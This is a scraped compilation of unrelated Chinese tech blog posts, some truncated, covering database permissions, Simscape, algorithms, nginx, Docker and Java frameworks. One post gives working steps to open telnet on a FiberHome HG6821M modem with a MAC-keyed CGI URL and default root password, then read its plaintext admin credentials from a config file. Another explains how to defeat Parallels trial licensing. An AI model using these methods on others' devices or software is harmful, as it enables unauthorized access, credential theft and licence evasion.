打开数据库进行连接 选择安全性-登录名-新建登录名 填写用户名 选择用户映射选择对应的数据库点击确定及ok 选择对应的数据库-安全性-用户-选择刚才创建的用户名右击选择属性 选择安全性-搜索-特定对象-确定 这个时候我们选择我们需要开放的内容,我这里选择视图 选择完视图后确定,在进行浏览选择需要开放的视图确定,确定 选择选择的视图,在下面勾选权限,我这里只给了只读权限 4.测试新的账号登录情况 登录成功后我们查看一下权限,我这里只能查看到我给开放的一个视图权限

【学习记录】matlab的simscape的学习——对PID控制下的单级倒立摆模型建模与仿真

前言 一直在学习过程中。打工人的毕设内容会用到涉及到该部分内容,故此处发个博客做个小总结。 如果说simulink可以帮你做任何仿真(没错,是任何仿真!),那么simscape就是能够帮你更快速完成涉及物理、机械工程等领域的仿真。 用我老师的话来说就是——半物理仿真? 本篇文章旨在记录simscape里的一些基本的模块并搭建了一个PID控制下的单级倒立摆的应用实例,希望能对阅读到该内容的友友有所帮助! 正文 首先,matlab内置实际上是有simscape的学习使用教程的,如下图: 但是呢,这个教程是生肉(英文并且无字幕)。于是我在b站上找到了熟肉: 【Simscape入门之旅】熟悉Simscape入门之旅的界面_哔哩哔哩_bilibili (不止这一个,有好几个教程) 这个教程我还没有完全看完,因为我的首要目的是运用simscape搭建一个单级倒立摆的模型,所以我找到了一个宝藏教程,虽然讲得比较快且不太细致,但确足够让我熟悉simscape并搭建一个单机倒立摆的仿真模型了(链接放在末尾)。 首先创建一个simulink的窗口,这里可以直接在simscape下面选择创建Multibody(多体模型)。 打开之后会发现一些模块: 从上到下:第一个可以理解为一个求解器(控制器?),第二个可以理解为一个世界坐标,第三个可以理解为对整体全局参数的设定(重力,x,y,z等) 这个箭头就是一个信号转换器,我的理解就是把将输入的物理信号转换为Simulink输出信号。(另一个箭头就是把Simulink输入信号转换为物理输出信号)。 这个模块是坐标转换模块。在系统中默认X,Y,Z轴的参考系是确定的,并且很多运动仿真模块也只能在规定的轴按要求运动,故如果需要更改模块的相对位置则需要在空间中的平移以及在空间中的旋转。而这个功能可以在以上模块中实现。 这个是刚体模块,可以在空间中设置一个确定大小、长度的刚体。 然后具体需要使用的物理模型,可以在Simulink Library Browser里面找到,具体路径如下图: 每个模型通过图标示意,以及具体的解释,就可以知道具体的使用方法、指代何种物理模型。并且每个模块都内置了很多功能,比如内置各种传感器。 以下为单级倒立摆的一个简单的一个搭建。 注意一下每个物理模型的使用的方向,以及需要使用的参数。 滑块模块:它只能在Z轴上平移,如果我们想让它在x轴上做平移运动,则需要提前进行坐标变换。考虑到滑块的输入端是由我们人为控制的,则需要设置Actuation中的力设置为自动计算,并且由输入端提供。 转动模块:只能在x,y平面绕着z轴旋转。由于需要检测倒立摆转动的角度,在这里选择一个角度传感器作为反馈信号。考虑到倒立摆竖直状态下,处于平衡状态,所以在这个地方可以给予它一个小的角度(10°)来让他摆动起来。 然后点击运行,则可以在隔壁matlab窗口看到一个这样的模型。 (emmm,实际状态是他在不受控制的转动,这里无法体现出来) 这里还会发现摆杆的运动会有些卡顿,可以在Model Settings里面调整求解器的步长(这里将最大步长设置为0.1)。重新启动后发现运动变得丝滑了。 接下来就是加入PID控制模块。这里直接接入了一个非常简单的PID模型。 将各模块连接后,一个简单的对PID控制下的单级倒立摆模型建模就完成了。 然后就是对参数P、I、D进行调整,这里随便输入了几个参数,得到以下结果。 可以看到窗口中倒立摆的运动是趋于平稳的,打开scope,可以看到系统是趋于稳定的。这和仿真结果相符。 结语 在学习过程中我只能感叹matlab功能的强大。学习的路还很长,还希望和各位技术人多多交流! 应用实例搭建源视频教程:matlab的simscape对PID控制下的倒立摆模型建模_哔哩哔哩_bilibili

烽火HG6821M光猫开启telnet(202302)

首先,运营商会进行配置调整,方法也需要变动,所以跟上一个日期,到月份就够意思了。2023年02月的 当前超密基本都是token的,会变,以前固定的密码基本都用不了了。 1、开启telnet 开始搜到的方法(以光猫地址192.168.1.1为例),192.168.1.1/cgi-bin/telnetenable.cgi?telnetenable=1开telnet,但是报错。百度翻了好多页也没找到正确的解决办法,结果goolge第4、5个就找到了,需要增加光猫的MAC地址,方法是: 192.168.1.1/cgi-bin/telnetenable.cgi?telnetenable=1&key=74E29A3A3443 74E29A3A3443是光猫MAC地址去掉“:”或“-”并且全大写。MAC在光猫背面应该有,或者电脑ping 192.168.1.1后arp -a查看。 这里就被坑了,之前百度的一篇说是电脑的MAC。注意,是光猫的MAC。 2、telnet登录 账号root,密码是Fh@mac后六位,同样是全大写,比如我的就是Fh@3A3443 3、查看密码 这里资料中是load_cli factory,我这不行,就用了老办法 touch /usr/protest/mf/factory_mode 然后 cat /flash/cfg/agentconf/factory.conf 前2行就是管理员账号和密码,无加密,直接用。不确定前面开启工厂模式是否必须。 有了密码,web界面登录就什么都能干了,但是password还是点点点,并不能直接看到,也没空试一下审查元素的办法,反正暂时也不换光猫。 参考链接并感谢作者:审核不通过,不知道是不是这个链接的原因,只能空感谢了。 盗个xx之家的图。

JAVA 双指针法(快慢指针法)

目录 概述例题27.移除元素844.比较含退格的字符串209.长度最小的子数组 概述 双指针法(快慢指针法)在数组和链表的操作中是非常常见的,很多考察数组、链表、字符串等操作的面试题,都使用双指针法。 例题 27.移除元素 题目描述: 给你一个数组 nums 和一个值 val,你需要移除所有数值等于 val 的元素,并返回移除后数组的新长度。 不要使用额外的数组空间,你必须仅使用 O(1) 额外空间并原地修改输入数组。 元素的顺序可以改变。你不需要考虑数组中超出新长度后面的元素。 说明 为什么返回数值是整数,但输出的答案是数组呢? 请注意,输入数组是以「引用」方式传递的,这意味着在函数里修改输入数组对于调用者是可见的。 你可以想象内部操作如下: // nums 是以“引用”方式传递的。也就是说,不对实参作任何拷贝 int len = removeElement(nums, val); // 在函数里修改输入数组对于调用者是可见的。 // 根据你的函数返回的长度, 它会打印出数组中 该长度范围内 的所有元素。 for (int i = 0; i < len; i++) { print(nums[i]); } 示例: 输入:nums = [3,2,2,3], val = 3 输出:2, nums = [2,2] 解释:函数应该返回新的长度 2, 并且 nums 中的前两个元素均为 2。你不需要考虑数组中超出新长度后面的元素。例如,函数返回的新长度为 2 ,而 nums = [2,2,3,3] 或 nums = [2,2,0,0],也会被视作正确答案。 题解

加密算法解析三:SM3

概要 SM3算法中文称为商密3算法,是由中国国家密码局发布的一种杂凑算法(哈希算法)。它性能和安全性大致与SHA256相等。具体国家的发布标准链接:http://www.sca.gov.cn/sca/xwdt/2010-12/17/content_1002389.shtml。 国家密码局发布的算法不仅有SM3,还有SM1、SM2、SM4、SM7、SM9等,它们的设计和结构都不同,并不是SM3的改进或前期版本。比如SM1为一种对称加密算法,安全与性能与AES相当;SM2为椭圆曲线公钥密码算法,安全和性能大于RSA;SM4为分组数据对称加密算法。 步骤 算法也分为:填充、迭代压缩、处理数据、输出这4个步骤。 1、填充:相当于MD5和SHA的补位和添加长度,先增1和若干个0补成对512求模得448的长度,然后再添加原文长度的64位二进制。举例如下: 其中 原文24bit,补位424bit(1个1和423个0),增加长度64bit(原文长度的64位二进制表示) 2、消息扩展:SM3没有直接使用数据分组进行运算,而是先对每个512bit分组进行划分,每个分组划分成16个消息字,再以这16个消息通过函数递推出后面的116个消息字,即每个512bit原文可以产生132个消息字(每个消息字32bit)。具体伪代码如下: 3、压缩:先声明初始值IV=7380166f 4914b2b9 172442d7 da8a0600 a96f30bc 163138aa e38dee4d b0fb0e4e ,分别存在A,B,C,D,E,F,G,H这8个32位变量中。接着压缩函数会使用这8个变量进行64轮计算。具体函数如下: 4、输出:最后的ABCDEFGH组成的256位二进制就是密文,一般用64个(16进制)字符打印。 优缺点 优点:安全性高,虽然说安全性和SHA256相当。但个人认为应该指理论上与SHA256相当,毕竟都是哈希算法以及256位摘要。但实际应该比SHA256更高,毕竟破解不可逆算法就是靠字典库,而SHA256的字典库远大于SM3。 缺点:大数据量下加密速度慢。 使用场景 可使用于数字签名验证,信息验证、随机数生成、密码保存等。

nginx正向代理的配置和使用

nginx正向代理的配置和使用 nginx正向代理的配置和使用 nginx正向代理的配置和使用安装包准备下载nginx安装包下载正向代理模块的包版本与模块对照表 部署nginx服务上传nginx包和正向模块包解压,改名安装nginx配置正向代理创建nginx用户 检查nginx配置并启动nginx服务所在服务器验证正向代理功能配置不能访问外网的服务器(即内网服务器),使其可以访问外网liunx服务器配置1.只配置使用yum时,能够使用正向代理访问外网2.只配置使用wget时,能够使用正向代理访问外网3.全局配置,所以访问请求都能够使用正向代理访问外网 windows服务器配置验证不能访问外网的服务器(即内网服务器),使用代理上网 nginx正向代理http,nginx正向代理https 正向代理,指的是通过代理服务器 代理浏览器/客户端去重定向请求访问到目标服务器 的一种代理服务。正向代理服务的特点是代理服务器 代理的对象是浏览器/客户端,也就是对于目标服务器 来说浏览器/客户端是隐藏的。 nginx默认支持正向代理http,不支持https nginx官方并不支持直接转发https请求,nginx支持https需要ngx_http_proxy_connect_module模块。github上开源了模块 https://github.com/chobits/ngx_http_proxy_connect_module。不过维护的ngx_http_proxy_connect_module模块的补丁也是有nginx版本限制的,需根据自身使用的nginx版本选择相应的正向代理模块。可以在REDEME.md的Select patch中查看nginx版本和模块的对应关系 安装包准备 下载nginx安装包 下载地址 下载正向代理模块的包 下载地址 版本与模块对照表 部署nginx服务 此处使用的是nginx-1.20.2,对应proxy_connect_rewrite_1018.patch 上传nginx包和正向模块包 mkdir /nginx cd /nginx [root@mysql nginx]# ll -rw-r--r-- 1 root root 1062124 Feb 12 15:23 nginx-1.20.2.tar.gz -rw-r--r-- 1 root root 57926 Feb 12 15:23 ngx_http_proxy_connect_module-master.zip 解压,改名 tar -xf nginx.tar.gz unzip ngx_http_proxy_connect_module-master.zip ll drwxr-xr-x 9 1001 1001 4096 Feb 12 15:27 nginx-1.20.2 -rw-r--r-- 1 root root 1062124 Feb 12 15:23 nginx-1.

tensorflow ,torch安装

通过.whl文件安装tensorflow和torch。 目录 通过.whl文件安装tensorflow和torch。 1.whl文件下载地址 2.安装方法 3.可能出现的问题 1..whl文件下载地址 torch : https://download.pytorch.org/whl/torch_stable.html tensorflow-cpu : Links for tensorflow-cpu tensorflow-gpu : Links for tensorflow-gpu 2.安装方法 在上面的网址中找到对应的Python版本号(cp)和电脑型号(win/mac)和位数(32/64)的想要下载的版本文件。下载完成后,可以在D:\Anaconda\Lib\site-packages(我的Anaconda保存在D盘)下新建一个对应的文件夹,把该.whl文件放进文件夹里, 以安装tensorflow举例,先下载.whl文件,把它放在新建的tensorflow文件夹里,这里我的python是3.9的,下载的是2.10.0版本的(2.11.0的安装了import的时候会显示无此模块,但pip list里有,所以降低了安装版本) 然后打开Anaconda Prompt(Anaconda),将路径切到.whl文件所在的位置,然后pip install .whl文件即可。 3.可能出现的问题 安装的版本太高了,import的时候会报错,这时可以降低版本。 将Pycharm的Interpreter改成Anaconda的就可以实现同步了,

Python 生成nohup.out文件

在github上面下载了一些代码,代码包里存了nohup.out文件,这个文件存放的是.py文件的输出内容,所以我也想把比较好的运行结果存下来,以便对比。 我这个是在Pycharm运行的,打开terminal,输入 python demo.py >> nohup.out 2>&1 & 就会在demo.py所在的目录下出现nohup.out文件了。

已上传的微信小程序源码丢失,通过反编译找回

前提: 你的程序源码已经上传,可以打开体验版或开发版小程序。 工具: 小程序包解密:链接: https://pan.baidu.com/s/1A2ZCqflr4jMLfg03U_LWHQ 提取码: 4ntn wxappUnpacker:链接: https://pan.baidu.com/s/1HQS8xQsqrhc4hziCCuFPXA 提取码: 7b6k 环境: Node.js (nodejs.org) 分别安装完成后。 步骤 测试node.js是否安装完成 打开cmd输入 node -v 确定完成安装。 安装依赖 npm install esprima npm install css-tree npm install cssbeautify npm install vm2 npm install uglify-es npm install js-beautify 解密小程序 通过电脑打开需要解密的小程序 找到小程序包的位置 选择指定加密小程序包 解密后的包会在你安装的路径下 在wxappUnpacker路径下打开cmd node ./wuWxapkg.js 主包路径 至此反编译成功。 可通过微信开发工具打开查看。

Docker安装Oracle11g(安装简单)

背景 在Linux中安装oracle非常麻烦,相信每个人也会遇到各种坑。为了一次装好,也方便将来直接可以导出镜像在各平台移植使用,所以选择用docker安装 Oracle。 使用官方镜像下载速度非常慢,因此,我们可以使用阿里镜像。 拉取镜像 拉取oracle_11g镜像 拉取oracle镜像(oracle 11.0.2 64bit 企业版 实例名: helowin) Oracle主要在Docker基础上安装,安装环境注意空间和内存,Oracle是一个非常庞大的一个软件, 最低配置要2G以上,硬盘要30G以上更好,由于镜像都有好6.8个G。 登录阿里容器镜像服务平台,找到镜像中心-->镜像搜索,输入相应的镜像名称找到合适的镜像。 建议使用网易镜像或阿里镜像网站这里以oracle 11.0.2 64bit 企业版 实例名: helowin为例子进行安装详解。 docker pull registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g 运行容器 2.1 默认启动容器方式 docker run -d --name oracle11g -p 1521:1521 --restart=always registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g 或 docker run -d -it -p 1521:1521 \ --name oracle11g \ --restart=always registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g 2.2 持久化启动的方式 docker run -d -it -p 1521:1521 --name oracle11g --restart=always --mount source=oracle_vol,target=/home/oracle/app/oracle/oradata registry.cn-hangzhou.aliyuncs.com/helowin/oracle_11g 或 docker run -d -it -p 1521:1521 \ --name oracle11g \ --restart=always \ --mount source=oracle_vol,target=/home/oracle/app/oracle/oradata registry.

Parallels Desktop虚拟机问题汇总

多伙伴下载本站的PD虚拟机无限试用版会碰到各种问题,macw小编汇总了一下各位碰到的问题和给出的解决方案,需要的朋友收藏吧! 安装PD虚拟机后显示必须连接Internet,才能查看可用许可证列表。 碰到这个问题需要将Host文件中关于Parallels中的网址全部删除 修改时间后无法与Parallels服务器建立安全连接。 点击确定,退出PD虚拟机,然后将电脑时间改回现在的时间。 重新打开PD虚拟机,点击试用14天,会弹出试用过期,点击确定 不关闭PD虚拟机,然后将电脑时间改到2021年4月份到7月份之间,然后点击免费试用14天。 安装完成Windows后没有网络 只需要将Windows关机,然后退出PD虚拟机,用本站提供的启动器直接启动即可联网! 打开启动器后弹出试用到期 直接关闭即可,Win系统会自动运行。

2023年网络安全十大发展趋势

近日,中国计算机学会(CCF)计算机安全专委会中来自国家网络安全主管部门、高校、科研院所、大型央企、民营企业的委员投票评选出2023年网络安全十大发展趋势。 趋势一 数据安全治理成为数字经济的基石 我国《数据安全法》提出“建立健全数据安全治理体系”,各地区各部门均在探索和建立数据分类分级、重要数据识别与重点保护制度。2022年12月,《中共中央 国务院关于构建数据基础制度更好发挥数据要素作用的意见》提出建立数据产权结构性分置制度,这将保障数据生产、流通、使用过程中各参与方享有的合法权利,进一步激发数据要素发挥价值。这些制度建立和实施的前提是数据安全治理有效实施。数据安全治理不仅是一系列技术应用或产品,更是包括组织构建、规范制定、技术支撑等要素共同完成数据安全建设的方法论。数据、模型算法、算力是数字经济发展的三大核心要素,其中数据是原材料。因此,发展数字经济、加快培育发展数据要素市场,必须把保障数据安全放在突出位置,着力解决数据安全领域的突出问题,有效提升数据安全治理能力。在建立安全可控、弹性包容的数据要素治理制度后,需有效推动数据开发利用与数据安全的一体两翼平衡发展。鉴于此,夯实数据安全治理是促进以数据为关键要素的数字经济健康快速发展的基石。 趋势二 智能网联汽车安全成为产业重点 近年来,我国高度重视智能网联汽车发展。2022年,我国新能源汽车产销分别达到705.8万辆和688.7万辆,同比增长96.9%和93.4%,市场占有率达到25.6%。我国正在不断释放智能网联汽车的鼓励性政策,加紧制定智能网联汽车产业发展战略规划。汽车智能化和网联化是一把双刃剑,一方面增强了便捷性,提高了用户体验感;另一方面,联网后的车辆有可能被黑客入侵和劫持,从而带来网络安全威胁。因此,智能联网汽车安全是企业的生命线。2022年,我国以新能源汽车为抓手,汽车产业在国内外发展势头强劲。在国家利好政策和市场需求的双重驱动下,2023年智能网络汽车将进一步快速发展,作为生命线的网络安全也将成为行业发展重点。 趋势三 关键信息基础设施保护领域成为行业增长点 关键信息基础设施一旦遭到破坏、丧失功能或者数据泄露,可能危害国家安全、国计民生和公共利益。当前,关键信息基础设施认定和保护越来越成为各方的关注焦点和研究重点。《关键信息基础设施安全保护条例》于2021年9月正式施行,对关键信息基础设施安全防护提出专门要求。《信息安全技术关键信息基础设施安全保护要求》国家标准将于2023年5月实施,为各行业各领域关键信息基础设施的识别认定、安全防护能力建设、检测评估、监测预警、主动防御、事件处置体系建设等工作提供有效技术遵循,为保障关键信息基础设施全生命周期安全提供标准化支撑,预计带来的安全投入规模将达到百亿级。《关键信息基础设施安全保护条例》及相关国家标准的贯彻施行将带动重要行业和重要领域网络安全建设投入快速增长,关基市场将成为下一个网络安全行业的增长点。 趋势四 隐私计算技术得到产学研界共同关注 随着数据安全保护相关法律法规标准与数据要素流通政策密集出台,数据安全保护与数据共享流通之间的矛盾日益突出。作为平衡数据流通与安全的重要工具,隐私计算成为数字经济的底层基础设施,为各行各业搭建坚实的数据应用基础。近日,工信部等16部门共同发布的《关于促进数据安全产业发展的指导意见》提出,加强隐私计算关键技术攻关和产品研发。联邦学习、多方安全计算、安全求交、匿踪查询、差分隐私、同态加密等实现技术已经逐渐从学术界走向商业化应用,互联网、金融、政务、医疗、运营商等行业的应用继续加速,产学研各界也在合力探索技术应用的合规路径。尽管隐私计算有强劲的市场需求,但目前异构系统无法互联互通、产品性能效率低、产品适配性不强等突出问题仍制约着隐私计算技术更大规模的商业化应用。近年来,隐私计算产业快速增长,预计2025年国内市场规模将达百亿元,在巨大市场预期下,产学研界将更加关注隐私计算技术的新发展和产品应用的新场景。 2023 趋势五 数据安全产业迎来高速增长 近年来,我国数字经济规模持续扩大,数据安全越发受到重视,数据安全产业增速明显,同比增长速度达30%,2022年更是达到40%。随着我国数字化转型步伐加速,数据规模持续扩大,金融、医疗、交通等重要市场以及智能汽车、智能家居等新兴领域数据安全投入持续增加,稳定增长的市场需求将吸引越来越多的传统安全企业以及新兴安全企业推出数据安全相关产品和服务。2023年,《网络数据安全管理条例》有望正式出台。在政策法规和可操作性标准持续优化完善的背景下,在数据合规与企业数据保护的双重驱动下,数据安全产品和服务市场需求更加凸显,以数据为中心的安全投资将获得增长,数据安全产业的增速有望进一步加大。在下游需求及国家政策推动下,各行业对数据安全的投入占比将持续增长,尤其是政务数据管理和央企、国企在相关领域的投入增速将明显加大,有望带动网络安全市场在2023年实现一定程度的复苏。 趋势六 国产密码技术将得到更加广泛地应用 密码是保障个人隐私和数据安全的核心技术,国产密码在各层次的充分融合应用成为基础软硬件安全体系化的核心支撑。在国家密码发展基金等国家级科技项目的引导和支持下,我国在密码算法设计与分析基础理论研究方面取得了一系列的创新科研成果,自主设计的系列密码算法已经成为国际标准、国家标准或密码行业标准,我国商用密码算法体系基本形成,能满足非对称加密算法、摘要算法和对称加密算法的需要。随着我国《密码法》的贯彻实施以及国家对国产化的支持,采用国产密码支撑底层芯片、卡、装置的条件日趋成熟,预计随着国产芯片性能提升和生态成熟,密码行业有望迎来全新国产化发展机遇。国产密码应用将在基础信息网络、涉及国计民生和基础信息资源的重要信息系统、重要工业控制系统、面向社会服务的政务信息系统中得到更加广泛的应用。 趋势七 供应链安全风险管理成为重要挑战 供应链风险管理一直是网络安全建设过程中的薄弱环节,尤其是采购的软件中多使用开源软件和源代码,为黑客通过供应链中供应商的薄弱安全链接访问企业数据提供可乘之机。随着经济全球化和信息技术的快速发展,网络产品和服务供应链已发展为遍布全球的复杂系统,任一产品组件、任一供应链环节出现问题,都可能影响网络产品和服务的安全。供应链攻击(尤其是勒索软件)将持续成为影响组织网络安全的重要因素,在目前远程办公逐渐常态化、规模化的环境下,组织内来源于全球供应链的设备、系统、服务、数据都存在供应链安全风险。2023年,供应链网络安全风险将作为一项社会技术挑战加以解决。保障供应链安全急需数据保护措施和身份验证技术的支持,对供应链实时数据可见性、流转节点安全检测和异常事件应急响应的需求将急剧增加。 趋势八 信创需求将全面爆发 基础软硬件是科技产业的支柱,信息技术创新直接关系国家安全,对信创产业的重视程度将上升到新高度。从近几年信创产业发展来看,通过应用牵引与产业培育,国产软硬件产品综合能力不断提升,操作系统、数据库等基础软件在部分应用场景中实现“可用”,正在向“好用”迈进。2022年,我国发布《“十四五”推进国家政务信息化规划》,提出要实现全流程安全可靠的发展目标。未来五年,从党政信创到行业信创,从金融和运营商到教育和医疗,信创需求将全面爆发,国产软硬件渗透率将快速提升。2020-2022年是党政信创需求爆发的三年,2023-2027年行业信创将接力党政信创,从金融行业、运营商行业逐渐向教育、医疗等行业扩散。 趋势九 网络安全云化服务被用户广泛接纳 云计算与云应用已经成为IT基础设施,如何在公有云、私有云、混合云、边缘云以及云地混合环境中保障安全已成为未来组织发展的“刚需”。厂商需要积极应对软件化趋势,提升其产品的虚拟化、云化、SaaS化能力,从而抓住网络安全市场的下一个五年发展机遇。 云化趋势为网络安全产品服务提供更有利的运营模式。“网络安全即服务”(CSaaS)将继续成为许多公司的最佳解决方案之一,以允许所使用的服务随时间变化并定期调整,确保满足客户的业务需求。在网络安全人才短缺、安全态势瞬息万变、安全防护云化的今天,用户愿意为硬件出高价而不愿意在软件甚至服务上投入的情况将得到改善,在数据安全政策法规和网络安全保险服务的共同支撑下,中小企业采购云化的网络安全服务意愿将增强,政务网络安全托管服务为广大政务用户提供了一种更经济、更便捷、更有效的选择。 趋势十 人工智能网络攻防呈现对抗发展演化 人工智能可以通过发现和检测网络攻击的安全威胁来提升自身网络安全保护水平,但人工智能也可能被恶意用于创建更加复杂的攻击,增加网络攻击监测发现的难度。网络安全从人人对抗、人机对抗逐渐向基于人工智能的攻防对抗发展演化。随着新一代人工智能技术的提出与发展,攻击方将利用人工智能更快、更准地发现漏洞,产生更难以检测识别的恶意代码,发起更隐秘的攻击,防守方则需要利用人工智能提升检测、防御及自动化响应能力。基于人工智能的自动化渗透测试、漏洞自动挖掘技术等将为这一问题的解决提供新的可能。 在国家大力推进数字化转型、激发数据要素价值的大背景下,我国网络与数据安全政策法规、技术标准不断完善,促进数据要素价值发挥和数据安全产业的规划不断出台,科技自强自立和扩大内循环在全国上下形成共识,自主可信可控成为不可逆转的趋势。2023年,网络安全行业将更加注重核心关键技术攻关,以重点产业带动网络新兴产业发展,促进网络安全自主技术的广泛应用,网络安全产业蓬勃发展的势头将继续保持。

ESP8266 如何使用 GPIO13 & GPIO15 进行 UART0 通信?

说明: ESP8266EX 上电时候 U0TXD 默认会输出⼀些打印信息,对此敏感的应⽤可以使⽤内部引脚交换功能 (UART SWAP)。在初始化的时候,将 U0TXD, U0RXD 分别与 U0RTS (GPIO15),U0CTS (GPIO13) 进⾏交换。交换后,GPIO15 和 GPIO13 将作为交换后的 U0TXD 和 U0RXD 对应连接⾄ MCU 的 RXD 和 TXD 进⾏串⼝通信。相应参考电路如图 1-10b 所示。可参考《ESP8266 硬件设计指南》上的 P10~P11 页说明。 理由: 由于 GPIO15 作为 ESP8266EX 的 strap pin,上电需为低电平。因此,为防⽌上电 GPIO15 被拉⾼因⽽进⼊错误的 boot 模式,这⾥做了⼀个隔离处理。即,上电 Q1 默认不导通,GPIO15 未连接⾄ MCU 的 RXD。待程序跑起来之后,可通过 GPIO5 控制 Q1 导通。如此可实现 GPIO15 的上电隔离。 1. 修改默认的日志输出串口 UART0 为 UART1 使用 ESP8266 UART1(GPIO2)作为程序日志输出串口,可进行如下配置: menuconfig -> Component Config -> Common ESP-related Channel for console output -> Custom UARTUART peripheral to use for console output(0-1) -> UART1 2.

【框架】Mybatis

1. Mybatis简介 1.1 Mybatis特性 是一个基于Java的持久层框架MyBatis是支持定制化SQL、存储过程以及高级映射的优秀的持久层框架MyBatis避免了几乎所有的JDBC代码和手动设置参数以及获取结果集MyBatis可以使用简单的XML或注解用于配置和原始映射,将接口和Java的POJO(Plain Old Java Objects,普通的Java对象)映射成数据库中的记录MyBatis 是一个半自动的ORM(Object Relation Mapping)框架 1.2 和其它持久化层技术对比 JDBC SQL夹杂在Java代码中耦合度高,导致硬编码内伤维护不易且实际开发需求中SQL有变化,频繁修改的情况多见代码冗长,开发效率低Hibernate和JPA 操作简便,开发效率高程序中的长难复杂SQL需要绕过框架内部自动生产的SQL,不容易做特殊优化基于全映射的全自动框架,大量字段的POJO进行部分映射时比较困难。反射操作太多,导致数据库性能下降MyBatis 轻量级,性能出色SQL和Java编码分开,功能边界清晰。Java代码专注业务、SQL语句专注数据开发效率稍逊于HIbernate,但是完全能够接受 2. 搭建Mybatis 2.1 开发环境 IDE:idea2021.3构建工具:maven3.8.4MySQL版本:MySQL8.0.28MyBatis版本:MyBatis3.5.9 2.2 创建maven工程 打包方式:jar包引入依赖 <dependencies> <!-- Mybatis核心 --> <dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.9</version> </dependency> <!-- junit测试 --> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.13.2</version> <scope>test</scope> </dependency> <!-- MySQL驱动 --> <dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.28</version> </dependency> <!-- log4j日志 --> <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2.17</version> </dependency> </dependencies> 2.3 创建Mybatis的核心配置文件 习惯上命名为mybatis-config.xml,这个文件名仅仅只是建议,并非强制要求。存放的位置是src/main/resources目录下。将来整合Spring之后,这个配置文件可以省略,所以大家操作时可以直接复制、粘贴。核心配置文件主要用于配置连接数据库的环境以及MyBatis的全局配置信息 <?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE configuration PUBLIC "

volatile

volatile: JVM 提供的轻量级的同步机制。保证了并发编程的可见性、有序性 不保证原子性 1、可见性: 定义: 有一个线程将主内存中的变量值做了修改,其他线程都将马上收到通知,立即获得最新值 写线程:JMM会把该线程对应的本地工作内存中的共享变量值刷新到主内存。读线程:JMM会把该线程对应的本地工作内存置为无效,线程将到主内存中重新读取共享变量。 原理: 专业术语: 内存屏障(memory barriers):一组处理器指令,用于实现对内存操作的顺序限制。缓存行(cache line):CPU高速缓存中可以分配的最小存储单位。处理器填写缓存行时会加载整个缓存行。 借助了CPU的lock指令,lock指令在多核处理器下, 可以将当前处理器的缓存行的数据写回到系统内存,同时使其他CPU里缓存了该内存地址的数据置为无效 案例演示: public class VolatileDemo { volatile int number = 0; public static void main(String[] args) { VolatileDemo test1 = new VolatileDemo(); new Thread(new Runnable() { @Override public void run() { System.out.println(Thread.currentThread().getName()+"开始执行时,number = "+test1.number); try { Thread.sleep(3000); } catch (Exception e) { e.printStackTrace(); } test1.add();//暂停3秒后,修改number的值。 System.out.println(Thread.currentThread().getName()+"执行add()方法之后,number = "+test1.number); } },"t1").start(); while (test1.number == 0){} System.out.println(Thread.currentThread().getName()+"程序结束!"); } public void add(){ this.

单元测试利器——手把手教你使用Mockito

作者:京东零售 秦浩然 从你成为开发人员的那一天起,写单元测试终究是你逃不开的宿命!那开发人员为什么不喜欢写单元测试呢?究其原因,无外乎是依赖。依赖其他的服务、依赖运行的环境、等等,各种依赖都成为了我们写单元测试的绊脚石。那现在有个单元测试利器可以帮我们解决依赖的问题,你愿意使用一下吗?你愿意!那就是我们要学习的Mockito 一、前期准备~ 1、准备工作 <!--mockito依赖--> <dependency> <groupId>org.mockito</groupId> <artifactId>mockito-core</artifactId> <version>2.7.19</version> <scope>test</scope> </dependency> <!-- junit依赖 --> <dependency> <groupId>junit</groupId> <artifactId>junit</artifactId> <version>4.12</version> <scope>test</scope> </dependency> 2、入门知识 1)Mockito:简单轻量级的做mocking测试的框架; 2)mock对象:在调试期间用来作为真实对象的替代品; 3)mock测试:在测试过程中,对那些不容易构建的对象用一个虚拟对象来代替测试的方法就叫mock测试; 4)stub:打桩,就是为mock对象的方法指定返回值(可抛出异常); 5)verify:行为验证,验证指定方法调用情况(是否被调用,调用次数等); 3、五分钟入门Demo @Test public void test0() { //1、创建mock对象(模拟依赖的对象) final List mock = Mockito.mock(List.class); //2、使用mock对象(mock对象会对接口或类的方法给出默认实现) System.out.println("mock.add result => " + mock.add("first")); //false System.out.println("mock.size result => " + mock.size()); //0 //3、打桩操作(状态测试:设置该对象指定方法被调用时的返回值) Mockito.when(mock.get(0)).thenReturn("second"); Mockito.doReturn(66).when(mock).size(); //3、使用mock对象的stub(测试打桩结果) System.out.println("mock.get result => " + mock.get(0)); //second System.out.println("mock.size result => " + mock.

如何解决Git合并分支造成的冲突

一、造成冲突的场景 在我们在参与项目开发的时候,通常会创建公共的文件,但是当我们编码完成,使用git进行分支合并时,往往会出现合并冲突,也就是负责不同部分的开发人员会对同一个文件的同一个部分进行修改,这个时候就需要我们解决合并造成的冲突。 二、如何解决冲突 (1)在远程仓库里合并的时候解决 1.先将自己的分支中修改的内容放到本地仓库 gita add . //添加到暂存区 git commit -m '提交信息' //提交到本地仓库 2.把本地仓库的内容push到远程仓库 git push origin '远程仓库地址' 3.在远程仓库进行合并操作,提出合并申请 (2)先将远程仓库中的对应分支代码pull下来,然后再本地进行代码合并merge 1.先将自己的分支(例如feature-XXX)中修改的内容放到本地仓库 gita add . //添加到暂存区 git commit -m '提交信息' //提交到本地仓库 2.再将远程分支的development同步到本地仓库,切换到development分支,再执行pull git checkout development git pull origin development 3.在本地合并development和feature-XXX,在development中合并merge feature-XXX(如果有冲突在此处理保留原来的或者修改的,或者全部保留) git merge feature-XXX 4.再将本地development push到远程仓库 git push 远程仓库地址 development

达梦(DM)数据库介绍。

